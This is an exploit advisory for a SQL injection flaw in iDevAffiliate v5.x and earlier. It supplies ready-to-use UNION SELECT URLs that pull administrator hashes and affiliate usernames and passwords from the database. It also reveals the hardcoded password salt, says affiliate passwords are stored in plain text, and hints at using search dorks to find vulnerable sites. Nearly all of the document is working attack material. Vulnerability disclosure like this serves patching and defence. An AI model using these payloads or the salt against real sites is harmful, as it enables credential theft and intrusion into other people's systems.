# Exploit Title: iDevAffiliate <= v5.x SQL Injection Vulnerability # Google Dork: Use your head # Date: 4/21/2014 # Vendor Homepage: http://www.idevdirect.com/ # Version: <= v5.x # Author: Robert Cooper (robert.cooper[at]areyousecure.net) # Tested on: [Linux/Windows] #Vulnerable Parameter: ad= ############################################################## PoC: http://127.0.0.1/idevaffiliate/idevads.php?id=6&ad=2 http://127.0.0.1/idevaffiliate/idevads.php?id=6&ad=-2 UNION ALL SELECT 1,2,3,group_concat(adminid,0x3a,adminpass),5,6 FROM idevaff_admin http://127.0.0.1/idevaffiliate/idevads.php?id=6&ad=-2 UNION ALL SELECT 1,2,3,group_concat(username,0x3a,password),5,6 FROM idevaff_affiliates4 ############################################################## #Notes: The admin passwords are hashed via sha1($salt.$pass) The salt used is "idev_secret" (Without quotes) The affiliate passwords are in plain text For comments/questions or if you'd like your website security audited, email me @ Robert.Cooper[at]areyousecure.net http://www.areyousecure.net